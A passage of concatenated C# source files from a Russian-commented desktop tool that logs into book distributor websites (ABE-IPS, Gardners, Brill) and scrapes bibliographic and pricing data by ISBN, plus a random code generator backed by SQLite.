temp = "<td class=\"detail-label\"> Discount group </td>";
if (pageSource.Contains(temp))
{
discount = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
discount = discount.Substring(discount.IndexOf("content=\"") + 9);
discount = discount.Remove(discount.IndexOf("\""));
discount = discount.Replace("<br>", "; ");
try
{
discount = discount.Remove(discount.LastIndexOf(";"));
}
catch { }
}
// Присваиваем доступность
temp = "<td class=\"detail-label\"> Availability Status Code </td>";
if (pageSource.Contains(temp))
{
availability = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
availability = availability.Substring(availability.IndexOf("content=\"") + 9);
availability = availability.Remove(availability.IndexOf("\""));
}
// Присваиваем читательскую группу (Readership)
temp = "<td class=\"detail-label\"> Age group </td> <td>";
if (pageSource.Contains(temp))
{
readership = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
readership = readership.Remove(readership.IndexOf("<"));
}
// Присваиваем вес
temp = "<td class=\"detail-label\"> Weight </td> <td>";
if (pageSource.Contains(temp))
{
weight = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
weight = weight.Remove(weight.IndexOf("g"));
weight = ((float.Parse(weight)) / 1000).ToString();
}
// Присваиваем классификацию
temp = "<td class=\"detail-label\"> Product group </td> <td>";
if (pageSource.Contains(temp))
{
classification = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
classification = classification.Remove(classification.IndexOf("<"));
}
// Присваиваем обложку
temp = "<td class=\"detail-label\"> Book cover </td> <td>";
if (pageSource.Contains(temp))
{
bookCover = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
bookCover = bookCover.Remove(bookCover.IndexOf("<"));
}
// Присваиваем страницы
temp = "<td class=\"detail-label\"> Pages </td> <td>";
if (pageSource.Contains(temp))
{
pages = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
pages = pages.Remove(pages.IndexOf("<"));
}
// Присваиваем серию
temp = "<td class=\"detail-label\"> Series </td> <td>";
if (pageSource.Contains(temp))
{
series = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
series = series.Remove(series.IndexOf("<"));
}
// Присваиваем описание
temp = "<div class=\"detail-content detail-description\">";
if (pageSource.Contains(temp))
{
description = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
description = description.Remove(description.IndexOf("<"));
}
AddBookToList();
ClearBookList();
}
else
{
AddBookToList();
}
}
}
catch (Exception ex)
{
Errors.CustomError(ex);
}
WorkWithFile.SaveFile(book);
PB.Close();
}
private CookieContainer GetCookie(string loginPage, string accountNumber, string username, string password)
{
// Сначала получаем токен:
request = (HttpWebRequest)WebRequest.Create(loginPage);
request.CookieContainer = cookieContainer;
response = (HttpWebResponse)request.GetResponse();
sr = new StreamReader(response.GetResponseStream());
string pageSource = sr.ReadToEnd();
string searchWord = "name=\"cmsauthenticitytoken\" value=\"";
string token = pageSource.Substring(pageSource.IndexOf(searchWord) + searchWord.Length);
token = token.Remove(token.IndexOf("\""));
//==================================================================================================
string reqString =
"module_fnc%5Bprimary%5D=Login&sSuccessURL=&sFailureURL=&sConsumer=loginBox"
+ "&customerNumber=" + accountNumber
+ "&slogin=" + username
+ "&password=" + <PASSWORD>
+ "&cmsauthenticitytoken=" + token;
byte[] data = Encoding.UTF8.GetBytes(reqString);
try
{
request = (HttpWebRequest)WebRequest.Create(loginPage);
request.CookieContainer = cookieContainer;
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";
request.ContentLength = data.Length;
Stream stream = request.GetRequestStream();
stream.Write(data, 0, data.Length);
stream.Close();
response = (HttpWebResponse)request.GetResponse();
}
catch (Exception ex)
{
Errors.LoginPageError(ex);
PB.Close();
}
return cookieContainer;
}
}
}
<file_sep>using RELOD_Tools.WebSearch;
using RELOD_Tools.Logic;
using OpenQA.Selenium;
using System.IO;
using System.Linq;
using System.Net;
using System.Windows;
using System.Windows.Threading;
using System.Threading;
using System;
using OpenQA.Selenium.Chrome;
namespace RELOD_Tools.WebParsing.WebSearch.Site
{
class ABEIPS : SiteSearchModel
{
HttpWebRequest request;
HttpWebResponse response;
StreamReader sr;
ChromeDriver cd = new ChromeDriver();
CookieContainer cookieContainer = new CookieContainer();
public ABEIPS(string[] isbns)
{
string loginPage = "https://biznes.abe.pl/login";
string isbnUrl = "https://biznes.abe.pl/search/?search_param=all&q=";
string username = "<NAME>";
string password = "<PASSWORD>";
string pageSource = string.Empty;
string temp = string.Empty;
// Настраиваем Progress Bar
PB.Show();
int isbnsLength = isbns.Length;
PB.progressBar.Minimum = 0;
PB.progressBar.Maximum = isbnsLength;
PB.progressBar.Value = 0;
double progressvalue = 1;
UpdateProgressBarDelegate updatePbDelegate = new UpdateProgressBarDelegate(PB.progressBar.SetValue);
Application.Current.Dispatcher.Invoke(updatePbDelegate, DispatcherPriority.Background, new object[] { System.Windows.Controls.ProgressBar.ValueProperty, progressvalue });
//==================================================================================================
var cookieContainer = GetCookie(loginPage, username, password);
try
{
for (int i = 0; i < isbns.Length; i++)
{
// Пауза чтобы не нагружать сервер :)
Thread.Sleep(1000);
// Присваиваем порядковый номер
number = (i + 1).ToString();
// Присваиваем ISBN
isbn = isbns[i].Replace("\n", "");
isbn = isbn.Replace("\r", "");
// Передаем данные в Progress Bar для увеличения шкалы и обновления UI
PB.Title = $"Поиск по сайту ABE-IPS. Обработано {i + 1} из {isbnsLength}";
PB.progressBar.Value++;
progressvalue++;
Application.Current.Dispatcher.Invoke(updatePbDelegate, DispatcherPriority.Background,
new object[] { System.Windows.Controls.ProgressBar.ValueProperty, progressvalue });
//==================================================================================================
// Отправляем первый запрос по ISBN. Ответом нам будет страница со списком, которую мы записываем в переменную PageSource
if (isbn != "")
{
request = (HttpWebRequest)WebRequest.Create(isbnUrl + isbn);
request.CookieContainer = cookieContainer;
response = (HttpWebResponse)request.GetResponse();
sr = new StreamReader(response.GetResponseStream());
pageSource = sr.ReadToEnd();
}
//==================================================================================================
// Проверка, удалось ли залогиниться, если на сранице есть текст "Login" значит прерываем цикл.
if (pageSource.Contains("Login"))
{
MessageBox.Show("Не удалось авторизоваться. Поиск остановлен.");
break;
}
//==================================================================================================
// Блок обработки страницы с результатом первого запроса.
// Так как на странице с результатом может быть несколько ссылок на книги, пробуем найти нужную нам.
// Найденную ссылку передаем в следующий запрос
string delimeter = "<div class=\"col-md-6\">";
if (pageSource.Contains(delimeter))
{
// Разбиваем текст страницы на строки и считаем сколько строк содержит наш delimeter
// Это нужно чтобы создать массив с нужными нам элементами
string[] rows = pageSource.Split('\n');
int divCount = 0;
for (int j = 0; j < rows.Length; j++)
{
if (rows[j].Contains(delimeter))
{
divCount++;
}
}
// Собираем все строки содержащие delimeter в массив divs,
// в них нужно найти ту строку в которой упоминается ISBN нашей книги.
// Правильная строка обрабатывается и присваивается переменной href.
string[] div = new string[divCount];
int divStartIndex = 0;
int divEndIndex = 0;
string href = "";
for (int j = 0; j < divCount; j++)
{
divStartIndex = pageSource.IndexOf(delimeter, divEndIndex);
divEndIndex = pageSource.IndexOf("</div>", divStartIndex);
div[j] = pageSource.Substring(divStartIndex);
div[j] = div[j].Remove(divEndIndex - divStartIndex);
if (div[j].Replace("-", "").Contains(isbn) == true)
{
href = div[j].Substring(div[j].IndexOf(delimeter) + delimeter.Length);
href = href.Substring(href.IndexOf("\"") + 1);
href = href.Remove(href.IndexOf("\""));
href = "https://biznes.abe.pl" + href;
break;
}
else
{
// Если ни одна строка не содержит искомого ISBN тогда берем первую строку и забираем из нее ссылку
href = div[0].Substring(div[0].IndexOf(delimeter) + delimeter.Length);
href = href.Substring(href.IndexOf("\"") + 1);
href = href.Remove(href.IndexOf("\""));
href = "https://biznes.abe.pl" + href;
}
}
//==================================================================================================
request = (HttpWebRequest)WebRequest.Create(href);
request.CookieContainer = cookieContainer;
try
{
response = (HttpWebResponse)request.GetResponse();
sr = new StreamReader(response.GetResponseStream());
pageSource = sr.ReadToEnd();
}
catch
{
pageSource = string.Empty;
}
//==================================================================================================
// Блок обработки карточки товара. Пытаемся получить всю доступную информацию
if (pageSource != string.Empty)
{
pageSource = AlphabetCheck.Check(pageSource);
// Блок проверки соответствия ISBN. Сравниваем тот ISBN который был в списке с тем что нашли.
// Если они не равны, тогда в столбце ISBN2 указываем что ISBN не совпадает.
temp = "<dt>EAN</dt> <dd>";
string checkISBN = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
checkISBN = checkISBN.Remove(checkISBN.IndexOf("<"));
if (isbn != checkISBN)
{
isbn2 = "ISBN не совпадает: " + checkISBN;
}
// Присваиваем наименование
temp = "<div class=\"page-header\">";
title = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
title = title.Substring(title.IndexOf("class=\"\">") + 9);
title = title.Remove(title.IndexOf("<"));
// Присваиваем автора
temp = "<dt>Author</dt> <dd>";
if (pageSource.Contains(temp))
{
author = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
author = author.Remove(author.IndexOf("<"));
}
// Присваиваем дату издания
temp = "<dt>Date</dt> <dd>";
if (pageSource.Contains(temp))
{
pubDate = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
pubDate = pubDate.Remove(pubDate.IndexOf("<"));
}
// Присваиваем Division
temp = "<dt>Division</dt> <dd>";
if (pageSource.Contains(temp))
{
imprint = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
imprint = imprint.Substring(imprint.IndexOf(">") + 1);
imprint = imprint.Remove(imprint.IndexOf("<"));
}
// Присваиваем издательство
temp = "<dt>Publisher</dt> <dd>";
if (pageSource.Contains(temp))
{
publisher = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
publisher = publisher.Substring(publisher.IndexOf(">") + 1);
publisher = publisher.Remove(publisher.IndexOf("<"));
}
// Присваиваем цену с валютой и без нее
temp = "<small class='text-green'>List price</small>";
if (pageSource.Contains(temp))
{
priceWithCurrency = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
priceWithCurrency = priceWithCurrency.Substring(priceWithCurrency.IndexOf("> ") + 2);
priceWithCurrency = priceWithCurrency.Remove(priceWithCurrency.IndexOf("<"));
price = priceWithCurrency.Remove(priceWithCurrency.IndexOf(" "));
price = price.Replace(".", ",");
}
// Присваиваем цену со скидкой
temp = "<small class='text-green'>Your price</small>";
if (pageSource.Contains(temp))
{
discount = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
discount = discount.Substring(discount.IndexOf("> ") + 2);
discount = discount.Remove(discount.IndexOf("<"));
discount = discount.Remove(discount.IndexOf(" "));
discount = discount.Replace(".", ",");
}
// Присваиваем доступность
temp = "<span class=\"text-blue-first\">";
if (pageSource.Contains(temp))
{
availability = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
availability = availability.Substring(availability.IndexOf(">") + 1);
availability = availability.Remove(availability.IndexOf("<"));
}
// Присваиваем читательскую группу
temp = "<dt>Readership level</dt> <dd>";
if (pageSource.Contains(temp))
{
readership = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
readership = readership.Remove(readership.IndexOf("<"));
}
// Присваиваем издание
temp = "<dt>Edition</dt> <dd>";
if (pageSource.Contains(temp))
{
edition = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
edition = edition.Remove(edition.IndexOf("<"));
}
// Присваиваем обложку
temp = "<dt>Cover</dt> <dd>";
if (pageSource.Contains(temp))
{
bookCover = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
bookCover = bookCover.Remove(bookCover.IndexOf("<"));
}
// Присваиваем страницы
temp = "<dt>Pages</dt> <dd>";
if (pageSource.Contains(temp))
{
pages = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
pages = pages.Remove(pages.IndexOf("<"));
}
// Присваиваем описание, убираем все лишнее из текста
temp = "<h3>Description</h3>";
if (pageSource.Contains(temp))
{
description = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
description = description.Substring(description.IndexOf("<div class=\"col-md-12\">") + 23);
description = description.Remove(description.IndexOf("</div>"));
description = description.Replace("</p>", " "); // здесь меняем на пробел
description = description.Replace("</P>", " "); // здесь меняем на пробел
// Иногда в описании присутствуют ссылки (текст содержит <a href = ...>), ищем индексы символов "<" и ">"
// Когда нашли индексы убираем содержимое между ними методом Remove
int startIndex = 0;
int lastIndex = 0;
bool done = false;
while (done != true)
{
char[] tempDescription = description.ToCharArray();
for (int j = 0; j < description.Length; j++)
{
if (tempDescription[j] == '<')
{
startIndex = j;
break;
}
}
for (int k = startIndex; k < description.Length; k++)
{
if (tempDescription[k] == '>')
{
lastIndex = k - startIndex + 1;
break;
}
}
description = description.Remove(startIndex, lastIndex);
if (!description.Contains('<') && !description.Contains('>'))
{
description = AlphabetCheck.Check(description);
done = true;
}
}
//==================================================================================================
}
}
AddBookToList();
ClearBookList();
}
else
{
AddBookToList();
}
}
}
catch (Exception ex)
{
Errors.CustomError(ex);
}
WorkWithFile.SaveFile(book);
PB.Close();
}
private CookieContainer GetCookie(string loginPage, string username, string password)
{
try
{
cd.Url = loginPage;
IWebElement element;
element = cd.FindElement(By.Id("_username"));
element.SendKeys(username);
element = cd.FindElement(By.Id("_password"));
element.SendKeys(<PASSWORD>);
element = cd.FindElement(By.XPath("//*[@class = 'btn btn-success']"));
element.Click();
foreach (OpenQA.Selenium.Cookie c in cd.Manage().Cookies.AllCookies)
{
string name = c.Name;
string value = c.Value;
cookieContainer.Add(new System.Net.Cookie(name, value, c.Path, c.Domain));
}
cd.Quit();
}
catch (Exception ex)
{
cd.Quit();
PB.Close();
Errors.LoginPageError(ex);
}
return cookieContainer;
}
}
}
<file_sep>using System;
using System.Windows;
namespace RELOD_Tools
{
/// <summary>
/// Логика взаимодействия для ProgressBar.xaml
/// </summary>
public partial class ProgressBar : Window
{
public ProgressBar()
{
InitializeComponent();
}
public void progressBar_ValueChanged(object sender, RoutedPropertyChangedEventArgs<double> e)
{
}
}
}
<file_sep>using RELOD_Tools.Logic;
using System.IO;
using System.Linq;
using System.Net;
using System.Windows;
using System.Windows.Threading;
using System.Threading;
using System;
using RELOD_Tools.WebParsing.WebSearch;
using System.Text;
namespace RELOD_Tools.WebSearch.Site
{
class Gardners : SiteSearchModel
{
HttpWebRequest request;
HttpWebResponse response;
StreamReader sr;
CookieContainer cookieContainer = new CookieContainer();
public Gardners(string[] isbns)
{
string loginPage = "https://www.gardners.com/Account/LogOn";
string isbnUrl = "https://www.gardners.com/Product/";
string accountNumber= "Номер аккаунта";
string username = "<NAME>";
string password = "<PASSWORD>";
string pageSource = string.Empty;
string temp = string.Empty;
// Настраиваем Progress Bar
PB.Show();
int isbnsLength = isbns.Length;
PB.progressBar.Minimum = 0;
PB.progressBar.Maximum = isbnsLength;
PB.progressBar.Value = 0;
double progressvalue = 1;
UpdateProgressBarDelegate updatePbDelegate = new UpdateProgressBarDelegate(PB.progressBar.SetValue);
Application.Current.Dispatcher.Invoke(updatePbDelegate, DispatcherPriority.Background, new object[] { System.Windows.Controls.ProgressBar.ValueProperty, progressvalue });
//==================================================================================================
var cookieContainer = GetCookie(loginPage, accountNumber, username, password);
try
{
for (int i = 0; i < isbns.Length; i++)
{
// Пауза чтобы не нагружать сервер :)
Thread.Sleep(1000);
// Присваиваем порядковый номер
number = (i + 1).ToString();
// Присваиваем ISBN
isbn = isbns[i].Replace("\n", "");
isbn = isbn.Replace("\r", "");
// Передаем данные в Progress Bar для увеличения шкалы и обновления UI
PB.Title = $"Поиск по сайту Gardners. Обработано {i + 1} из {isbnsLength}";
PB.progressBar.Value++;
progressvalue++;
Application.Current.Dispatcher.Invoke(updatePbDelegate, DispatcherPriority.Background,
new object[] { System.Windows.Controls.ProgressBar.ValueProperty, progressvalue });
//==================================================================================================
// Отправляем первый запрос по ISBN. Ответом нам будет страница с карточкой товара
if (isbn != "")
{
request = (HttpWebRequest)WebRequest.Create(isbnUrl + isbn);
request.CookieContainer = cookieContainer;
response = (HttpWebResponse)request.GetResponse();
sr = new StreamReader(response.GetResponseStream());
pageSource = sr.ReadToEnd();
}
//==================================================================================================
// Проверка, не слетел ли наш логин
if (pageSource.Contains("class=\"unauthenticated\">"))
{
MessageBox.Show("Не удалось авторизоваться. Поиск остановлен.");
break;
}
//==================================================================================================
// Блок обработки страницы с ответом
if (pageSource != string.Empty && isbn != "")
{
//pageSource = AlphabetCheck.Check(pageSource);
// Проверяем, есть ли замена
temp = "<span class=\"replacedByLink\">";
if (pageSource.Contains(temp))
{
isbn2 = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
isbn2 = isbn2.Substring(isbn2.IndexOf(">") + 1);
isbn2 = isbn2.Remove(isbn2.IndexOf("<"));
}
// Присваиваем наименование
temp = "<div class=\"titleContributor\">";
if (pageSource.Contains(temp))
{
title = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
title = title.Substring(title.IndexOf(">") + 1);
title = title.Remove(title.IndexOf("<"));
title = AlphabetCheck.Check(title);
}
// Присваиваем автора. Авторов может быть несколько ищем все строки
temp = "<span class=\"contributorRole\">";
if (pageSource.Contains(temp))
{
temp = pageSource.Substring(pageSource.IndexOf("<h2>") + 4);
temp = temp.Remove(temp.IndexOf("</h2>"));
string[] rows = temp.Split('\n');
for (int j = 0; j < rows.Length; j++)
{
if (rows[j].Contains("<a href"))
{
temp = rows[j].Substring(rows[j].IndexOf("\">") + 2);
temp = temp.Remove(temp.IndexOf("<"));
author += temp + ", ";
}
}
author = author.Remove(author.LastIndexOf(","));
author = AlphabetCheck.Check(author);
}
// Присваиваем дату издания
temp = "<span>Published:</span>";
if (pageSource.Contains(temp))
{
pubDate = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
pubDate = pubDate.Replace("<span>", "");
pubDate = pubDate.Remove(pubDate.IndexOf("<"));
pubDate = AlphabetCheck.Check(pubDate);
}
// Присваиваем издательство
temp = "<span>Publisher:</span>";
if (pageSource.Contains(temp))
{
publisher = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
publisher = publisher.Substring(publisher.IndexOf("\">") + 2);
publisher = publisher.Remove(publisher.IndexOf("<"));
publisher = AlphabetCheck.Check(publisher);
}
// Присваиваем импринт
temp = "<span>Imprint:</span>";
if (pageSource.Contains(temp))
{
imprint = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
imprint = imprint.Substring(imprint.IndexOf("\">") + 2);
imprint = imprint.Remove(imprint.IndexOf("<"));
imprint = AlphabetCheck.Check(imprint);
}
// Присваиваем цену с валютой и без нее
temp = "<span class=\"retailPrice\">";
if (pageSource.Contains(temp))
{
priceWithCurrency = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
priceWithCurrency = priceWithCurrency.Remove(priceWithCurrency.IndexOf("<"));
priceWithCurrency = priceWithCurrency.Replace("£", "") + " GBP";
priceWithCurrency = priceWithCurrency.Replace(".", ",");
price = priceWithCurrency.Remove(priceWithCurrency.IndexOf(" "));
}
// Присваиваем скидку
temp = "<p class=\"hideCustomer\"><span>";
if (pageSource.Contains(temp))
{
discount = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
discount = discount.Remove(discount.IndexOf(" "));
}
// Присваиваем доступность
temp = "<div class=\"availability\"";
if (pageSource.Contains(temp))
{
temp = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
temp = temp.Remove(temp.IndexOf("</div>"));
string[] rows = temp.Split('\n');
for (int j = 0; j < rows.Length; j++)
{
if (rows[j].Contains("class=\"icon-text"))
{
temp = rows[j].Substring(rows[j].IndexOf("icon-text"));
temp = temp.Substring(temp.IndexOf(">") + 1);
temp = temp.Remove(temp.IndexOf("<"));
availability += temp + ", ";
}
}
availability = availability.Remove(availability.LastIndexOf(","));
}
// Присваиваем читательскую группу (Readership)
temp = "<span>Readership:</span>";
if (pageSource.Contains(temp))
{
temp = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
temp = temp.Remove(temp.IndexOf("</ul>"));
string[] rows = temp.Split('\n');
for (int j = 0; j < rows.Length; j++)
{
if (rows[j].Contains("<li>"))
{
temp = rows[j].Substring(rows[j].IndexOf(">") + 1);
temp = temp.Remove(temp.IndexOf("<"));
readership += temp + ", ";
}
}
readership = readership.Remove(readership.LastIndexOf(","));
readership = AlphabetCheck.Check(readership);
}
// Присваиваем издание
temp = "<span class=\"edition\">";
if (pageSource.Contains(temp))
{
edition = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
edition = edition.Remove(edition.IndexOf("<"));
}
// Присваиваем вес
temp = "<span>Weight:</span>";
if (pageSource.Contains(temp))
{
weight = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
weight = weight.Replace("<span>", "");
weight = weight.Remove(weight.IndexOf("g"));
weight = ((float.Parse(weight)) / 1000).ToString();
}
// Присваиваем размеры
temp = "<span>Dimensions:</span>";
if (pageSource.Contains(temp))
{
dimensions = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
dimensions = dimensions.Replace("<span>", "");
dimensions = dimensions.Remove(dimensions.IndexOf(" <"));
string[] dim = dimensions.Split('x');
try
{
length = dim[0];
width = dim[1];
height = dim[2];
}
catch { }
}
// Присваиваем страну происхождения
temp = "<span>Pub. Country:</span>";
if (pageSource.Contains(temp))
{
pubCountry = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
pubCountry = pubCountry.Replace("<span>", "");
pubCountry = pubCountry.Remove(pubCountry.IndexOf("<"));
}
// Присваиваем классификацию
temp = "<span>Classifications:</span>";
if (pageSource.Contains(temp))
{
temp = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
temp = temp.Remove(temp.IndexOf("</ul>"));
string[] rows = temp.Split('\n');
for (int j = 0; j < rows.Length; j++)
{
if (rows[j].Contains("<a href"))
{
temp = rows[j].Substring(rows[j].IndexOf("\">") + 2);
temp = temp.Remove(temp.IndexOf("<"));
classification += temp + ", ";
}
}
classification = classification.Remove(classification.LastIndexOf(","));
classification = AlphabetCheck.Check(classification);
}
// Присваиваем обложку
temp = "<li class=\"format_title\">";
if (pageSource.Contains(temp))
{
bookCover = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
bookCover = bookCover.Remove(bookCover.IndexOf("<"));
}
// Присваиваем страницы
temp = "<li class=\"pagination\">";
if (pageSource.Contains(temp))
{
pages = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
pages = pages.Remove(pages.IndexOf("<"));
}
// Присваиваем серию
temp = "<span>Series:</span>";
if (pageSource.Contains(temp))
{
series = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
series = series.Replace("<span>", "");
series = series.Substring(series.IndexOf(">") + 1);
series = series.Remove(series.IndexOf("<"));
}
// Присваиваем описание
temp = "<div class=\"productDescription\">";
if (pageSource.Contains(temp))
{
description = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
description = description.Remove(description.IndexOf("</div>"));
description = description.Replace("<br>", " ");
// Иногда в описании присутствуют ссылки (текст содержит <a href = ...>), ищем индексы символов "<" и ">"
// Когда нашли индексы убираем содержимое между ними методом Remove
int startIndex = 0;
int lastIndex = 0;
bool done = false;
while (done != true)
{
char[] tempDescription = description.ToCharArray();
for (int j = 0; j < description.Length; j++)
{
if (tempDescription[j] == '<')
{
startIndex = j;
break;
}
}
for (int k = startIndex; k < description.Length; k++)
{
if (tempDescription[k] == '>')
{
lastIndex = k - startIndex + 1;
break;
}
}
description = description.Remove(startIndex, lastIndex);
if (!description.Contains('<') && !description.Contains('>'))
{
description = AlphabetCheck.Check(description);
done = true;
}
}
//==================================================================================================
}
// Присваиваем содержание
temp = "<span>Contents:</span>";
if (pageSource.Contains(temp))
{
contents = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
contents = contents.Replace("<span>", "");
contents = contents.Remove(contents.IndexOf("</span>"));
contents = AlphabetCheck.Check(contents);
}
AddBookToList();
ClearBookList();
}
else
{
AddBookToList();
}
}
}
catch (Exception ex)
{
Errors.CustomError(ex);
}
WorkWithFile.SaveFile(book);
PB.Close();
}
private CookieContainer GetCookie(string loginPage, string accountNumber, string username, string password)
{
string reqString = "AccountNumber=" + accountNumber + "&UserName=" + username + "&Password=" + password;
byte[] data = Encoding.UTF8.GetBytes(reqString);
try
{
request = (HttpWebRequest)WebRequest.Create(loginPage);
request.CookieContainer = cookieContainer;
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";
request.ContentLength = data.Length;
Stream stream = request.GetRequestStream();
stream.Write(data, 0, data.Length);
stream.Close();
response = (HttpWebResponse)request.GetResponse();
}
catch (Exception ex)
{
Errors.LoginPageError(ex);
PB.Close();
}
return cookieContainer;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Windows;
using System.Data.SQLite;
namespace RELOD_Tools.CodeGeneration
{
public class CodeGen : IDisposable
{
public void Dispose() { }
Random rnd = new Random();
private int qty = 1; // количество генерируемых кодов по-умолчанию
private int length = 10;// длинна кода по-умолчанию
public CodeGen(string codesQty, string codesLength, string mustStartrWith, string mustEndWith, string dbName, string dbPath)
{
bool check = CheckInput(codesQty, codesLength);
if (check == true)
{
List<CodeModel> codesList = new List<CodeModel>();
DataGrid DG = new DataGrid();
SQLiteConnection connection = new SQLiteConnection("Data Source = " + dbPath + dbName);
connection.Open();
SQLiteCommand cmd = new SQLiteCommand(connection);
for (int i = 0; i < qty; i++)
{
string time = DateTime.Now.ToString("yyyy-MM-dd HH-mm");
string randomCode = mustStartrWith + GenerateCode(length) + mustEndWith;
cmd.CommandText = "INSERT INTO codes(code, date) VALUES(@code, @date)";
cmd.Parameters.AddWithValue("@code", randomCode);
cmd.Parameters.AddWithValue("@date", time);
cmd.ExecuteNonQuery();
codesList.Add(new CodeModel {Id = (i+1), Code = randomCode, Date = time });
}
connection.Close();
DG.Title = "Сгенерированы коды: ";
DG.Show();
DG.dataGrid.ItemsSource = codesList;
}
}
private bool CheckInput(string codesQty,string codesLength)
{
bool check = true;
if (codesQty != "")
{
if (Int32.TryParse(codesQty, out qty))
{
if (qty < 1 || qty > 1000)
{
check = false;
MessageBox.Show("Допустимое количество кодов от 1 до 1000 (по умолчанию 1).");
}
}
else
{
check = false;
MessageBox.Show("В поле \"Количество кодов\" должны быть только цифры.");
}
}
if (codesLength != "")
{
if (Int32.TryParse(codesLength, out length))
{
if (length < 10 || length > 20)
{
check = false;
MessageBox.Show("Допустимая длина кода от 10 до 20 символов(по-умолчанию 10).");
}
}
else
{
check = false;
MessageBox.Show("В поле \"Длинна кода\" должны быть только цифры.");
}
}
return check;
}
private string GenerateCode(int length)
{
// Символы, которые могут присутствовать в коде:
char[] codeSymbols = new char[]
{
'1', '2', '3', '4', '5','6','7','8','9',
'Q','W','E','R','T','Y','U','I','P','A','S','D','F','G','H','J','K','L','Z','X','C','V','B','N','M',
};
char[] temp = new char[length];
int codeSymbolsLength = codeSymbols.Length;
for (int i = 0; i < length; i++)
{
temp[i] = codeSymbols[rnd.Next(codeSymbolsLength)];
}
return new string(temp);
}
}
}
<file_sep>using System;
namespace RELOD_Tools.CodeGeneration
{
public class CodeModel
{
public int Id { get; set; }
public string Code { get; set; }
public string Date { get; set; }
}
}
<file_sep>using RELOD_Tools.Logic;
using RELOD_Tools.WebSearch;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Threading;
namespace RELOD_Tools.WebParsing.WebSearch.Site
{
class Brill : SiteSearchModel
{
HttpWebRequest request;
HttpWebResponse response;
StreamReader sr;
CookieContainer cookieContainer = new CookieContainer();
public Brill(string[] isbns)
{
string isbnUrl = "https://brill.com/search?q1=";
string pageSource = string.Empty;
string temp = string.Empty;
// Настраиваем Progress Bar
PB.Show();
int isbnsLength = isbns.Length;
PB.progressBar.Minimum = 0;
PB.progressBar.Maximum = isbnsLength;
PB.progressBar.Value = 0;
double progressvalue = 1;
UpdateProgressBarDelegate updatePbDelegate = new UpdateProgressBarDelegate(PB.progressBar.SetValue);
Application.Current.Dispatcher.Invoke(updatePbDelegate, DispatcherPriority.Background, new object[] { System.Windows.Controls.ProgressBar.ValueProperty, progressvalue });
//==================================================================================================
ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
try
{
for (int i = 0; i < isbns.Length; i++)
{
// Пауза чтобы не нагружать сервер :)
Thread.Sleep(1000);
// Присваиваем порядковый номер
number = (i + 1).ToString();
// Присваиваем ISBN
isbn = isbns[i].Replace("\n", "");
isbn = isbn.Replace("\r", "");
// Передаем данные в Progress Bar для увеличения шкалы и обновления UI
PB.Title = $"Поиск по сайту Brill. Обработано {i + 1} из {isbnsLength}";
PB.progressBar.Value++;
progressvalue++;
Application.Current.Dispatcher.Invoke(updatePbDelegate, DispatcherPriority.Background,
new object[] { System.Windows.Controls.ProgressBar.ValueProperty, progressvalue });
//==================================================================================================
// Отправляем первый запрос по ISBN. Ответом нам будет страница с карточкой товара
if (isbn != "")
{
request = (HttpWebRequest)WebRequest.Create(isbnUrl + isbn);
request.CookieContainer = cookieContainer;
response = (HttpWebResponse)request.GetResponse();
sr = new StreamReader(response.GetResponseStream());
pageSource = sr.ReadToEnd();
}
//==================================================================================================
// Блок обработки страницы с ответом
if (pageSource != string.Empty && isbn != "")
{
pageSource = AlphabetCheck.Check(pageSource);
// Присваиваем наименование
temp = "<div class=\"typography-body text-headline color-primary\">";
if (pageSource.Contains(temp))
{
title = pageSource.Substring(pageSource.IndexOf(temp) + temp.Length);
title = title.Substring(title.IndexOf(">") + 1);
title = title.Remove(title.IndexOf("<"));
//title = AlphabetCheck.Check(title);
}
// Присваиваем автора. Авторов может быть несколько ищем все строки
temp = "<div class=\"contributor-line text-subheading\">";
